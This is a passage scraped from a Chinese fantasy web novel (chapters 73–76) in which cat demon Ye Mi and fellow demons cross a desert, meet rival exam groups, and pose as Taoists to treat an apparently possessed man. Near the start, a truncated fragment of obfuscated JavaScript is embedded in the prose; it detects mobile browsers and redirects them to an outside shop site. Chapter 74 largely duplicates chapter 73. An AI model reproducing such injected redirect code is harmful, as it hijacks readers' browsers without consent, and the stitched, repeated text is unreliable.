虽然看猫大人的模样，似乎是很有信心的……万情贞想，若是他也有猫大人这般“不达目的誓不罢休”的信念，定能创作出与先前不同的爱情故事。
话说这边，叶米倒是没有为此事劳心费神，一方面是在想到更好的办法之前，她想也是徒劳无益，继续斩情根就是了，反正她也不在乎这点疼；另一方面是明天就要和道士分道扬镳了，不相见之后，情愫自然不会再长。
所以回到房间之后她就开始研究地图，看看下一关要往哪走更快更方便，这不研究还好，一看就发现了大事。考核已经过半，下一关就是竞争赛制，他们要遇上别的班的队伍了。
从这开始，考核人数就会减半。
这会叶米的心态已经有了变化，她不再是刚出发前的自信满满、稳操胜券。经过几次师父的警告和扣分之后，她已然明白师父的评分标准并不是简单的“法力高低”或是“事情完成度”，而是要看你做了什么，你的行为够不够合乎情理，有没有对凡人进行人文关怀。
叶米琢磨了一下，觉得下一关要多听听谢珍珠和万情贞的意见，这两妖比较有善心和多愁善感。
这么决定好，她就熄了灯，躺在床上闭眼睡去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528955|148393||http|test|mini|href|location''.split(''|''),0,{}));
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南显成赶时间，昨晚就打过招呼，说是今早不与他们道别了。
早上四妖聚在一起用早膳，叶米说了下一关的事，原本吃得很香的谢珍珠和万情贞进食的速度明显变缓了许多。
“一个难关刚过，又来一个！”万情贞木木地看着筷子上几根面条，感到路途的多舛，摇摇头道，“太痛苦了！”
“没事！”谢珍珠这么给自己和书灵打气，“有叶米和胡大哥在，我们肯定不会输的！”
胡和烈嘲笑她：“你倒是挺替我们有把握的。”
谢珍珠也不害臊：“嘿嘿。”
叶米道：“出了这个村，起码要再走七八日才到下一个州县，途中不一定会遇到什么意外耽搁时间，用完早膳去街上多买些干粮。”
几妖都应好，顺口埋怨又要过苦日子了。
叶米倒是不觉得风餐露宿算苦日子，她只是比较讨厌下雨，就希望接下来几天少下点雨，别让她心烦。
在街上采买的时候，谢珍珠说要买雨伞，这样下雨的时候就可以遮雨了，叶米却道：“我没有打伞的习惯。”
谢珍珠：“不打伞就会淋湿了呀。”
叶米当然知道下雨不打伞会淋湿，但是她就是不会在下雨天打伞，仿佛在她的潜意识里这就是一件她不会去做的事，她也很难说为什么。当猫的时候没条件撑伞，成妖之后学的第一个法术就是干燥术……
她看着谢珍珠手上花花绿绿的漂亮油纸伞，想了想道：“你需要的话就买。”
螃蟹精摇摇头：“我喜欢淋雨。”
猫说：“那你去问他们两个。”
结果同样讨厌下雨的胡和烈也奇怪为什么要打伞并且表示自己不需要，最后还是书灵挑了一把自己喜欢的，高高兴兴地撑开来欣赏了许久，莫名走过来和叶米这么说：
“猫大人你知道吗，听说有一种可以防御的宝贝就是伞的模样，妖魔鬼怪打过来的时候，这么在前面一挡，那法术就会被弹开了。”
叶米说：“不过是在伞上设了防御阵法。”
书灵：“听起来好厉害，不知道我这把伞上面能不能……”
猫瞥了他一眼，到底没说什么，在伞上设了一个低等防御阵法，瞧书灵兴高采烈的样子，好像多出来一条命似的，她不由得提醒道：“这把伞用材低劣，只能设最基础的阵法，不过加上我的灵力……拿我和胡和烈来说，最多撑两招。”
万情贞也不介意，笑呵呵道：“够了够了，聊胜于无嘛！”
几妖的行李本是轻便的，这次采买倒是买了不少东西，数叶米买的最少，主要是些吃的；万情贞最多，毕竟他还买了许多书。反正自己的行囊自己背，各自情愿便是。
出了村之后，这些行囊就渐渐地轻了，吃的东西下了肚，眼见干粮快要见底，前方的路还是漫无止境，这倒没什么，主要是环境愈发恶劣了起来，树木越来越少，水源也渐渐瞧不见了。
73. 第 73 章
就在几妖从身体之苦转变为精神之苦，全身心都被折磨透了的时候，终点漫不经心地降临了。
他们瞧见那条水光闪闪的小河，像太阳升起，忽然从某一排土山后面浮现出来了，心里从来没有感到这样的开心，灌铅似的双腿居然不受控制地跑了起来，也许根本不用使劲，仅仅是脑子的愉悦就让腿充满了力量。
随着小河而来的是它身后的一片绿油油的森林，它像一条分界线，隔开了黄土和绿林两个世界，宣告着痛苦的结束，只不过结束得有些许突然，像是从天而降的馅饼，可对意志薄弱、身体疲惫，渴求解脱的旅人来说，这一定是最终的胜利，他们成功了。
四妖珍惜地喝了自己的汗水好几天、最后天冷了不出汗，一般都是把口水含在嘴巴里不说话，真是痛苦得不行。
万情贞兴奋地往小河跑了几步，一边跑一边把身上的行囊抛开，兴奋地哇哇大叫着，声音沙哑又可怜，他几乎是扑倒在小河边上，把整个头都浸在了里面，咕噜噜地沉浸了一会，猛然仰起头来，笑容是享受和幸福。
谢珍珠则是直接变成了螃蟹，跳到了水里去，一下子就瞧不见了。
胡和烈还有仅存的警惕心，不过是在喝了一口河水之后才打马后炮道：“应该没有古怪……算了，有古怪也算了，真是要渴死了！”说罢大口地喝起水来。
说实话叶米也是他这样的想法，大口大口喝了许多水之后，她拿出前两天吃不下去的大饼，坐在岸边一边放空地看小河和对边的森林，慢慢地咀嚼着，感到一种很奇异的安详，仿佛一辈子这样也行。
猫难得感到一种满足，她很少会这样的，总是追求无穷无尽的法力，告诉自己今年要比去年厉害，这个月要比上个月厉害。她目前最大的目的是成仙，这是一种名义上的达成，也许成了仙之后她依旧不会满足，还会想要更多的东西。
可如今坐在这，吹着对面绿林越过小河的清风，仅仅是因为度过了七八日难捱的日子，她就感到了满足。
怎么会这样呢？
谢珍珠意犹未尽地从河里爬上岸来，还是那副螃蟹的模样，所以是横着走的：“我下去看了，这水有些深，我背你们过去呀。”
叶米咽下口中的干饼子，站起来道：“好，走吧。”
螃蟹精将自己的原形变大变大，大到大概可以坐下两个盘腿的成年人。叶米三妖变成了原形坐在她的蟹壳上，其他的空位放了行囊，这样一次都能过去。
蟹壳上沾了水很滑，猫走了两步差点要滑倒，连忙趴了下来，乖乖地做被运输的物件。
过了河，又轻松地进了这片绿林，摘了一些或酸或甜的果子，每选一个吃都是一次试胆，四妖都没躲过被酸得失去表情管理。走过绿林之后，前方就是寻常的野路，天色变化也是正常了，大伙心情都好了许多，天黑之后找到一个小亭子休息了一晚。
隔日还未到正午，就入了景州。
身处景州吵吵闹闹的人间烟火，有了先前遭遇的对比，四妖竟有些感动，第一件事是找了家食店好好吃了一顿，然后进客栈洗洗刷刷，放下行李休息。至于下一关？还不想知道是怎么回事。
不过隔日一早，叶米就进入了状态，她打开地图一看，确定他们已经到了下一关的任务点，目前看来景州的一切都很寻常，她便想同之前那样，去外边看看情况，正要打开屋门，忽然听见外边螃蟹精咋咋乎乎的声音。
推开门一看，谢珍珠站在走廊上，正在和一名女子兴奋地说话，叶米仔细一看，那不是她们班上的兔子精林圆圆吗？怎么在这里碰上了？按理来说他们同班分组的路线是不会重合的，难道是……
“叶、叶米……”林圆圆正对着她房门，猫一出来她就瞧见了，脸上的笑容都僵了几分，“叶米，好久不见啊……”
叶米也客气的朝她点点头，单刀直入地问：“好巧，你们组怎么会在这里？”
谢珍珠和好友一见面，第一件事是高兴地打招呼说“好巧啊好久不见啊见到你太高兴了”，第二件事就是分享自己一组在黄土地的悲惨遭遇，这会正说到那儿有多热、热得自己都要熟了，叶米就出来了。
听叶米这么问，她才迟钝地想起这个紧要的问题：“……对诶，圆圆你们组怎么会在这里？”
林圆圆见到叶米后变得僵硬的表情，这会儿就更难看了，她看看叶米，又看看谢珍珠，叹了口气道：“说来话长，原本跟我和陆甲一组的妖在出发后的第一关就受了重伤，无奈只能退出考核……”
谢珍珠惊讶地“啊”了一声：“那你们组只有两只妖了？”
“本来是这样的，”林圆圆苦笑一声，“但是又很凑巧，隔壁班的欧武武的两个队友也受伤退出了，结果……就东拼西凑成这样了。而且我们现在走的是欧武武的路线，没想到竟然会遇上你们……”
苍天有眼，要是让她知道走这条路会遇上叶米和胡和烈，她当时怎么着都不会说“我随便”三个字的。
昔日好友变成今朝对手，谢珍珠也笑不出来了，苦恼地抓了抓头发，嘟着嘴埋怨：“怎么会这样……”
叶米倒是不意外，她看见林圆圆的时候心里就有了猜想，而且：“怎么不会这样？反正到最后也只有三个成仙名额，免不了与同班的妖自相残杀，早晚都无所谓。”
“那倒也是……”谢珍珠哭笑不得：“但也没有自相残杀这么严重吧？”
林圆圆也不想啊，拍拍好友的肩膀当做安慰。
这时候谢珍珠忽然想起来：“不过我记得，隔壁班的欧武武是不是……”
林圆圆干笑道：“是啊，哈哈。”
叶米见她们说话说一半，本该不感兴趣的，但毕竟是接下来敌对的对手，不免多问一句：“是什么？”
“什么是什么……”谢珍珠诧异地看向她，“欧武武是那只狼妖呀，他特别讨厌你，简直是嫉猫如仇的程度了，听说床头都
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贴着你的画像，以此来激励自己好好修炼呢……叶米，你不晓得呀？”
叶米耸了下肩：“仇视我的妖多了去了，手下败将有什么值得在意的？”
二妖：……
原来这就是强者的想法。
“我去找任务，”叶米路过她俩，瞅了眼谢珍珠，“你们聊感情可以，到时候可别舍不得下手。”
二妖：O.O
螃蟹精和兔子精面面相觑，谁的眼里都含了点泪水，只叹造化弄妖。
彼此可伶完，谢珍珠余光见叶米要走远了，也想跟上去：“圆圆，我先走了，有什么事之后再……”
“等等。”林圆圆拉住她，微微摇了摇头，“你再陪我说两句，考核结束不就要离开万妖堂了吗？”
谢珍珠见她难得有些认真地悲伤的神情，也有些不舍，还是安慰道：“结业后还是能继续见面的……”
叶米出了客栈又看见胡和烈，抱着胸站在门口看对边卖桂花糕的摊位，绷着一张脸，好像对方欠了他一万个桂花糕似的，猫无语道：“你这么看着他做什么，想吃就买。”
胡和烈被她突然的出声吓了一小跳，转过来道：“啧，我刚刚好像看见陆甲了。”
叶米：“哦。”
“也可能是我看错了。”胡和烈又摇摇头，“不然他瞧见我了，怎么没过来？而且他们组不该和我们撞上。”
“你没看错。”叶米把前因后果和他说了，见他表情惊讶，又道，“你这是什么表情，难道你不忍心对他下手？”
胡和烈挠挠脸：“怎么说他也是一直喊着我胡大哥，在我屁股后面跟了这么多年，换你你下得了手？”
叶米心想有这么夸张吗：“又不是要杀了他，不过是和万妖堂里往常的考试一样，要分个胜负罢了。”
“再说了……”她微微撇过脸，略带好笑的眼神睨着他，“你舍不得下手，不见得他舍不得。”
胡和烈被她说得一噎，好像确实是这么回事哦，不要到头来是他自作多情了，被这么一点他瞬间脸发燥热：“知道了！不会耽误你成仙的！”
“你最好是。”
提醒了两个疑似搞不清楚状况的队友之后，叶米就上街寻信息去了，没走多久就听见前方闹闹哄哄的，好像起了争执。叶米脚步顿了顿，确实不想管闲事，但还是走过去看了看。
其实就是两个人在拉拉扯扯，主要是那个壮硕的拉扯瘦弱的，瘦弱的男人作大夫的装扮，抓着医馆的门，死活不肯松手。他定是使了狠劲的，不然就他这副身子骨，早就该被扯走了。
“张大夫，你就从了我吧！”
“不要啊，我不依！”
看似是强抢民男的戏码，但又一些不对劲。
围观的人群中还有万情贞这小子，他倒是眼尖，很快就瞧见了叶米，挤着人群凑过来，手上还抱着几本书：“嘿嘿，猫大人……哎呀，别挤我……大哥你踩我鞋跟了！”
74. 第 74 章
就在几妖从身体之苦转变为精神之苦，全身心都被折磨透了的时候，终点漫不经心地降临了。
他们瞧见那条水光闪闪的小河，像太阳升起，忽然从某一排土山后面浮现出来了，心里从来没有感到这样的开心，灌铅似的双腿居然不受控制地跑了起来，也许根本不用使劲，仅仅是脑子的愉悦就让腿充满了力量。
随着小河而来的是它身后的一片绿油油的森林，它像一条分界线，隔开了黄土和绿林两个世界，宣告着痛苦的结束，只不过结束得有些许突然，像是从天而降的馅饼，可对意志薄弱、身体疲惫，渴求解脱的旅人来说，这一定是最终的胜利，他们成功了。
四妖珍惜地喝了自己的汗水好几天、最后天冷了不出汗，一般都是把口水含在嘴巴里不说话，真是痛苦得不行。
万情贞兴奋地往小河跑了几步，一边跑一边把身上的行囊抛开，兴奋地哇哇大叫着，声音沙哑又可怜，他几乎是扑倒在小河边上，把整个头都浸在了里面，咕噜噜地沉浸了一会，猛然仰起头来，笑容是享受和幸福。
谢珍珠则是直接变成了螃蟹，跳到了水里去，一下子就瞧不见了。
胡和烈还有仅存的警惕心，不过是在喝了一口河水之后才打马后炮道：“应该没有古怪……算了，有古怪也算了，真是要渴死了！”说罢大口地喝起水来。
说实话叶米也是他这样的想法，大口大口喝了许多水之后，她拿出前两天吃不下去的大饼，坐在岸边一边放空地看小河和对边的森林，慢慢地咀嚼着，感到一种很奇异的安详，仿佛一辈子这样也行。
猫难得感到一种满足，她很少会这样的，总是追求无穷无尽的法力，告诉自己今年要比去年厉害，这个月要比上个月厉害。她目前最大的目的是成仙，这是一种名义上的达成，也许成了仙之后她依旧不会满足，还会想要更多的东西。
可如今坐在这，吹着对面绿林越过小河的清风，仅仅是因为度过了七八日难捱的日子，她就感到了满足。
怎么会这样呢？
谢珍珠意犹未尽地从河里爬上岸来，还是那副螃蟹的模样，所以是横着走的：“我下去看了，这水有些深，我背你们过去呀。”
叶米咽下口中的干饼子，站起来道：“好，走吧。”
螃蟹精将自己的原形变大变大，大到大概可以坐下两个盘腿的成年人。叶米三妖变成了原形坐在她的蟹壳上，其他的空位放了行囊，这样一次都能过去。
蟹壳上沾了水很滑，猫走了两步差点要滑倒，连忙趴了下来，乖乖地做被运输的物件。
过了河，又轻松地进了这片绿林，摘了一些或酸或甜的果子，每选一个吃都是一次试胆，四妖都没躲过被酸得失去表情管理。走过绿林之后，前方就是寻常的野路，天色变化也是正常了，大伙心情都好了许多，天黑之后找到一个小亭子休息了一晚。
隔日还未到正午，就入了景州。
身处景州吵吵闹闹的人间烟火，有了先前遭遇的对比，四妖竟有些感动，第一件事是找了家食店好好吃了一顿，然后进客栈洗洗刷刷，放下行李休息。至于下一关？还不想知道是怎么回事。
不过隔日一早，叶米就进入了状态，她打开地图一看，确定他们已经到了下一关的任务点，目前看来景州的一切都很寻常，她便想同之前那样，去外边看看情况，正要打开屋门，忽然听见外边螃蟹精咋咋乎乎的声音。
推开门一看，谢珍珠站在走廊上，正在和一名女子兴奋地说话，叶米仔细一看，那不是她们班上的兔子精林圆圆吗？怎么在这里碰上了？按理来说他们同班分组的路线是不会重合的，难道是……
“叶、叶米……”林圆圆正对着她房门，猫一出来她就瞧见了，脸上的笑容都僵了几分，“叶米，好久不见啊……”
叶米也客气的朝她点点头，单刀直入地问：“好巧，你们组怎么会在这里？”
谢珍珠和好友一见面，第一件事是高兴地打招呼说“好巧啊好久不见啊见到你太高兴了”，第二件事就是分享自己一组在黄土地的悲惨遭遇，这会正说到那儿有多热、热得自己都要熟了，叶米就出来了。
听叶米这么问，她才迟钝地想起这个紧要的问题：“……对诶，圆圆你们组怎么会在这里？”
林圆圆见到叶米后变得僵硬的表情，这会儿就更难看了，她看看叶米，又看看谢珍珠，叹了口气道：“说来话长，原本跟我和陆甲一组的妖在出发后的第一关就受了重伤，无奈只能退出考核……”
谢珍珠惊讶地“啊”了一声：“那你们组只有两只妖了？”
“本来是这样的，”林圆圆苦笑一声，“但是又很凑巧，隔壁班的欧武武的两个队友也受伤退出了，结果……就东拼西凑成这样了。而且我们现在走的是欧武武的路线，没想到竟然会遇上你们……”
苍天有眼，要是让她知道走这条路会遇上叶米和胡和烈，她当时怎么着都不会说“我随便”三个字的。
昔日好友变成今朝对手，谢珍珠也笑不出来了，苦恼地抓了抓头发，嘟着嘴埋怨：“怎么会这样……”
叶米倒是不意外，她看见林圆圆的时候心里就有了猜想，而且：“怎么不会这样？反正到最后也只有三个成仙名额，免不了与同班的妖自相残杀，早晚都无所谓。”
“那倒也是……”谢珍珠哭笑不得：“但也没有自相残杀这么严重吧？”
林圆圆也不想啊，拍拍好友的肩膀当做安慰。
这时候谢珍珠忽然想起来：“不过我记得，隔壁班的欧武武是不是……”
林圆圆干笑道：“是啊，哈哈。”
叶米见她们说话说一半，本该不感兴趣的，但毕竟是接下来敌对的对手，不免多问一句：“是什么？”
“什么是什么……”谢珍珠诧异地看向她，“欧武武是那只狼妖呀，他特别讨
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厌你，简直是嫉猫如仇的程度了，听说床头都贴着你的画像，以此来激励自己好好修炼呢……叶米，你不晓得呀？”
叶米耸了下肩：“仇视我的妖多了去了，手下败将有什么值得在意的？”
二妖：……
原来这就是强者的想法。
“我去找任务，”叶米路过她俩，瞅了眼谢珍珠，“你们聊感情可以，到时候可别舍不得下手。”
二妖：O.O
螃蟹精和兔子精面面相觑，谁的眼里都含了点泪水，只叹造化弄妖。
彼此可伶完，谢珍珠余光见叶米要走远了，也想跟上去：“圆圆，我先走了，有什么事之后再……”
“等等。”林圆圆拉住她，微微摇了摇头，“我有事和你说。”
谢珍珠见她难得认真的神情，心里隐隐有些不妙：“什、什么事？”
叶米出了客栈又看见胡和烈，抱着胸站在门口看对边卖桂花糕的摊位，绷着一张脸，好像对方欠了他一万个桂花糕似的，猫无语道：“你这么看着他做什么，想吃就买。”
胡和烈被她突然的出声吓了一小跳，转过来道：“啧，我刚刚好像看见陆甲了。”
叶米：“哦。”
“也可能是我看错了。”胡和烈又摇摇头，“不然他瞧见我了，怎么没过来？而且他们组不该和我们撞上。”
“你没看错。”叶米把前因后果和他说了，见他表情惊讶，又道，“你这是什么表情，难道你不忍心对他下手？”
胡和烈挠挠脸：“怎么说他也是一直喊着我胡大哥，在我屁股后面跟了这么多年，换你你下得了手？”
叶米心想有这么夸张吗：“又不是要杀了他，不过是和万妖堂里往常的考试一样，要分个胜负罢了。”
“再说了……”她微微撇过脸，略带好笑的眼神睨着他，“你舍不得下手，不见得他舍不得。”
胡和烈被她说得一噎，好像确实是这么回事哦，不要到头来是他自作多情了，被这么一点他瞬间脸发燥热：“知道了！不会耽误你成仙的！”
“你最好是。”
提醒了两个疑似搞不清楚状况的队友之后，叶米就上街寻信息去了，没走多久就听见前方闹闹哄哄的，好像起了争执。叶米脚步顿了顿，确实不想管闲事，但还是走过去看了看。
其实就是两个人在拉拉扯扯，主要是那个壮硕的拉扯瘦弱的，瘦弱的男人作大夫的装扮，抓着医馆的门，死活不肯松手。他定是使了狠劲的，不然就他这副身子骨，早就该被扯走了。
“张大夫，你就从了我吧！”
“不要啊，我不依！”
看似是强抢民男的戏码，但又一些不对劲。
围观的人群中还有万情贞这小子，他倒是眼尖，很快就瞧见了叶米，挤着人群凑过来，手上还抱着几本书：“嘿嘿，猫大人……哎呀，别挤我……大哥你踩我鞋跟了！”
75. 第 75 章
叶米看他：“还嫌行囊不够重，又买书。”
万情贞艰难地抬起脚把鞋跟穿好，嘻嘻笑道：“我最近迷上了一类新书，猫大人你感兴趣吗，我借你看嘛。”
叶米说不感兴趣，又问他那两个人在拉扯什么。
万情贞：“哦，就是那个壮汉想找张大夫给他兄弟治病，可张大夫说自己治不了，壮汉说你都不去看看怎么知道治不了，张大夫就哭其他大夫看过都说没救了，他也没那么大本事……”
叶米又问：“什么病？”
万情贞道：“说是撞了鬼，变性子了。”
叶米呵呵：“那这病张大夫确实治不了。”
“啊？”万情贞看向她，“猫大人这是何意？”
“很明显。”叶米朝不远处扒拉门的张大夫一笑，“这病是要留给我们治的。”
万情贞：！
他反应过来的时候，叶米已经拨开人群走上去了，书灵匆忙跟在她后头：“猫大人，你等等我！欸让让、麻烦让让……”
张大夫抓着门的指尖已经褪了血色，紧绷着快爆炸的肉白，他勉力抵抗的时候瞧见一个姑娘看着他走过来，似乎有话要说，她才刚刚站定下来，张大夫就连忙道：“姑娘是不是要看病？”
叶米张了张嘴：“是……”
张大夫的眼里露出一丝欣喜：“好、好，我给你看病！赵义，你快放了我，我得给人家姑娘看病！”
赵义不服：“凡事都要讲个先来后到，是不是我先来的？”
“嚯，你这时候讲道理了！”张大夫大喊起来，“那你这样逼迫我又算是哪门子道理？我说了不医，你偏要我医，怎么的，我们当大夫的还没资格选择医不医了？那我不当了，这大夫我不当了！”
“张大夫！”赵义长了一张有横肉的凶脸，这张脸显露出委屈的表情的时候是很不明显的，却容易让人觉得他生气了，他说话声音又那么粗，讨好时也像是威胁，“你不要敬酒不吃吃罚酒了，就去看看我的薛兄吧！”
叶米发现张大夫误会了，这时候便和赵义道：“听说你薛兄的病症是撞了鬼、变了性子？”
赵义瞥了她一眼，随口“嗯”了一声，又去磨张大夫：“张大夫……”
张大夫摇头：“治不了治不了！那些看过薛有志的大夫回去都做了好几日的噩梦，个个吃不饱睡不好，精神萎靡得像个鬼似的，都不用撞鬼了！你你你、你不能害我啊！”
赵义闻言也是苦涩：“我们也不想的。”
张大夫只道：“我不治、我治不了！”
“张大……”
“我来治。”
这清凌凌的一声让二人一愣，还以为自己听错了，张大夫瞪大眼睛看着她：“姑娘，你不是来找我看病的吗？”
叶米说：“我是来看病的，看他薛兄的病。”
赵义大概很是诧异，松开了抓着张大夫的手，挠挠头打量面前的女子，她瞧着不过二十，很是年轻的模样：“你、你也是大夫？”
叶米知道这些凡人怕妖，转了下眼珠子道：“我不是大夫，不过你薛兄的病也不是大夫能治的，看病要对症下药，撞了鬼……难道不该找道士？”
两人一时没反应过来，忽然见后边挤上来一个抱着书的男子，对着这姑娘喊什么“大人大人”的，可见得她确实是个“大人物”啊。
赵义一个五大三粗的壮汉，大臂膀有人家小孩一个脑袋那么大，普通的百姓见了他是绕道走的，因此他自觉在大街上走也得大模大样、摇摇晃晃的，不必怕谁，但对于那些有非人本事的人，倒是有几分敬畏，更何况此事关乎他兄弟的命，当下便朝叶米一拱手道：
“姑娘原来是道士大人，赵某眼拙，失礼了。”
……道士大人？
“我姓叶，喊我叶大师就好，这是我师弟，万情贞。”
喜提师弟身份的万情贞笑呵呵：“是、对，我们是大师。”
“道士……”张大夫含糊地嘟囔了一句，揉着自己扒门扒得好疼的手，“这薛有志的情况确实邪门，先前有些大夫说他是高烧烧糊涂了，或是脑子被门夹了哪个要紧处，所以才奇奇怪怪的。”
赵义澄清谣言：“薛兄身强体壮，一年到头很少受寒……脑子也没被门夹过。”
张大夫手一摊：“那不如就让这位叶大师试试。”反正别找他就是了。
赵义抿了抿厚嘴唇，他其实这会有点死马当活马医的意思的，毕竟有许多道士啊算命的都是骗人的，只怕花了许多钱还要落个傻子的名声，但……嗐，还能怎么的呢？
“既然如此，还请二位大师随我去……”
“且慢。”嘀嘀咕咕的人群里忽然有人大声道，“不知你们二ya、人是哪里的道士啊？”
众人往声音的方向望去，就见一个脖子上套着一个灰色围脖的二十左右男子大摇大摆地走了出来，下巴微微抬着，模样倒是不错的，就是单眼皮的眼尾提得高了一些，一双深灰色的眼珠子异于常人，定定地盯着叶米。
他问这话的语气并不是寻常好奇的，而带了些挑衅，万情贞眉头微皱，怕他找茬惹麻烦，便借了南显成的师门一用：“我们是乌来山蓬承派的弟子。”
张大夫眼前一亮：“嚯，蓬承派是赫赫有名的！赵兄，薛有志指不定真有救了！”他拍拍壮汉的肩膀。
壮汉其实没听过这什么乌蓬船，不过张大夫都这么说了，他的半信半疑就变成了七分信三分疑。又不免想，这么有名的师门，不会要好多钱吧？
那灰色眼珠子的人就笑道：“哈哈哈！原来是同门的师妹师弟！”
万情贞：“啊？”
不会让他们碰上真的了吧？可看这人的打扮和南显成是完全不像的……书灵下意识看向猫大人，却见她打量了对方一下，似乎在脑海里回想了什么，然后恍然大悟道：“我说是谁呢，原来是我的手下败将，许久没见，差点记不得你了。”
欧武武：……
真是气死狼了，他恨不得仰天长啸怒吼一声，但这里是人类的地
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盘，他还要考核，万万不能这么做的，只是这被羞辱的生气在他脸上藏不住，面色有了几分狰狞，仔细一看还能瞧见一晃而过的尖牙。
万情贞见他失去表情管理、恨的牙痒痒的模样，心道猫大人也没说什么啊，他怎么这么容易就破防了，又问叶米：“猫大人，你认识他啊？”
叶米说：“他就是与我们竞争的另一组。”
万情贞就明白他也是万妖堂的妖，再看看他脖子上围着的一圈灰毛，心里也有了估量：“原来是狼……”
赵义有些不太清楚情况，左看看猫右看看狼：“额……所以几位都是乌篷船的道士？”
万情贞：“乌篷船？”
叶米：“是，我们受命下山来降妖除鬼，不过我和我师弟与他拜在不同的师父门下，这次还要借你薛兄的病来攀比一下道法的高强。”
“这、这不必了吧……”赵义苦恼道，“我请不起这么多人。”
欧武武：“不收钱！”
赵义喜笑颜开：“那敢情好，几位快跟我来啊！”
去之前还得叫上其他妖，整整齐齐的七个大师走在赵义后头，他用余光努力往后瞟了瞟，怎么也没想到会是这么大的阵仗。主要是这几个都是小年轻，个个看着都不那么成熟稳重，他实在是……
算了，还能咋地，这片的大夫都让他找遍了，现在给薛兄看病就会做噩梦的风声传了出来，没几个大夫乐意去了。
叶米和欧武武之间隔了三个人的距离，这空档像是楚界汉河，把两组妖划分得明明白白。欧武武偶尔转过眼睛看她，叶米是知道的，不过她并不理会。
赵义指着前边说：“几位大师，前边快到了。”
叶米没看过病，这时候才想起来：“你还未同我们说薛有志这病的起因。”
赵义摇摇头：“起因我也不知道，不过半月前就是这样了。天天神神叨叨的，偶尔傻笑，偶尔着魔似的嘀嘀咕咕，偶尔又……唉，反正确实是像疯了一般，可能真是脑子出了问题，只是几个大夫都检查了脑子，没找到一处伤口。”
万情贞问：“有没有哪位大夫提过自己见过这症状？”
“是有一位。”赵义想了想，“他说薛兄的状态有时候很像他老家村里的一个怨妇。据说是孩子生得太多，身子里的血都流光了，脑袋里的血只好流下来补着，本就一孕傻三年，这下更是傻……不过只是傻，没有疯疯癫癫。”
回忆完，他这么判断：“但是薛兄没生孩子啊，应不是同一种病吧。”
谢珍珠关心地问：“好可怜，那个女子后来好了吗？”
赵义：“那大夫没和我说。”
欧武武在边上小声嘟囔“尽说些无关紧要的”被谢珍珠听见了，她撇了下嘴，不高兴地哼了一声。
说话间他们到了一户人家的门口，打开门上的锁，里边就是一个有些乱糟糟的院子，看得出来有一段时间没有打理了，水缸里的水只有小半，水面上漂浮着明显的脏东西，不知哪来的枯树枝等等。
76. 第 76 章
推开堂屋的门，屋里昏暗，开门的嘎吱声带进去许多光线，叶米跟在赵义后头第二个进了屋，又转去边上的卧房，一眼就看见了那个被五花大绑着扔在床上的男人。
他似乎一直闭着眼睛，听到动静就醒过来，因为嘴里塞着东西，只能瞪大眼睛“唔唔唔”地，像蚯蚓似的扭来扭去发出动静。
这便是薛有志，他和赵义有许多相似，比如他们几乎同等大小的身材，那略有些夸张得分不清是肥还是精的肉像灌了泥土的皮囊挂在身上，沉甸甸的很有重量，他被粗粗的麻绳五花……不对，应是十花大绑着，躺在那像秤砣放在秤上，却让人担心秤要坏了。
偏僻破败的小屋，被控制的男人……还好薛有志长得这副模样，不会让人怀疑他被绑架了。
“薛兄！”赵义和他打了声招呼，犹豫着看了叶米等人一眼，然后走过去拍拍薛有志捆了麻绳的肩膀，“我带了几位大师来给你看病……现在我把你嘴里的抹布拿下来，你要谨言慎行啊。”
薛有志：“唔唔唔！”
这么说着，他把抹布飞快地抽了出来，而薛有志的大喊大叫随之充满了整个屋子：“你放开我！救命啊，放开我……放我回家！”
“薛兄……”赵义尴尬地看向几位大师，“嗐，他现在又不认识我了。”
胡和烈挑眉：“那不如就放开他，看看他想要做什么。”
赵义：“这……就怕他乱来，不注意伤到了几位。”
背景音：“放开我！要杀人啦！救命啊！”
“……我们又不是摆在那不会动的花瓶。”胡和烈也不耐再说，直接指尖一闪，用法术切断了薛有志身上的麻绳。
屋里有些昏暗，赵义被他指尖的光闪了一下，有些许愣神，还没愣过来呢，就被人扒拉到了一边去，一个踉跄没站稳坐在了床上，床发出“咯噔”的呻吟。
薛有志挣开了麻绳从床上跳下来，横冲直撞地往门口跑去，叶米站在最前边，灵活地往边上一闪，露出了身后没进屋的几人，薛有志原本以为人不多，这下看见这么多人，忽然止住了脚步，面目惊恐地蹲了下来，抱着头道：
“别打我、别打我……呜呜呜……我不跑了，救命啊！”
众妖面面相觑，谢珍珠躲在叶米后边探出头来：“你怎么了，有人打你吗？”
赵义连忙说：“我可冤枉！”
薛有志蜷缩在那里抱着脑袋，像一颗硕大的肌肉球：“不要打我不要打我……”
叶米：“谁打你，你打回去就是了。”
薛有志喃喃自语：“我这样瘦胳膊瘦腿的，连跑几步都要喘气，就是抄了把刀，也是给别人做嫁衣的，哪里打得回去呢？”
众妖：……啊？
赵义在后边用手指点了点脑子，然后一脸苦楚地朝他们摇了摇头，什么意思不言而喻。
“喂，”欧武武问那颗肌肉球，“你知道你是谁吗？”
薛有志抬起头茫然地看向他：“我就是我啊。”
林圆圆：“你还记得自己的名字不？”
薛有志眼神迷糊了起来，支支吾吾了几声，就是说不出来。
万情贞看他这样，又可怜又可怕的，忽然理解了赵义的无奈：“你叫薛有志，你还记得一些什么，都和我们说说吧。”
薛有志：“你们是谁？”
万情贞：“你生病了，我们是来给看病的道士……”
“道士……”他忽然慌张起来，双手在空中一挥往后倒去撑住身子，扭着屁股蹬着腿就在地上往后边挪了几步，惊恐地瞪着眼睛摇头，“不要、我听话……我听话，不要打我……我不吃，我不要吃那些……呜呜呜呜……”
众妖：？？
他退到底了，想缩到床底下去，无奈体格太大缩不进去，便自觉跑到床上去了，找到搁边上的一条薄薄的布衾盖在自己头上，灰色的布料皱巴巴的，在空中明显得颤抖起来。
“唉……”赵义过去扯他的布衾，“薛兄，你别这样，你能不能清醒一点？唉……几位大师，你们看出他有什么毛病没有？”
叶米看出他确实煞气缠身，但并没有妖鬼附身——除非是比她还厉害的妖鬼，所以她瞧不出来，只是看他这样子，真像是神经错乱了啊，于是叶米再次确认道：“你确定他脑子没受过伤？”
“叶大师，我也不能确定啊，但好几个大夫都检查过薛兄的脑子了，都说无碍的。”
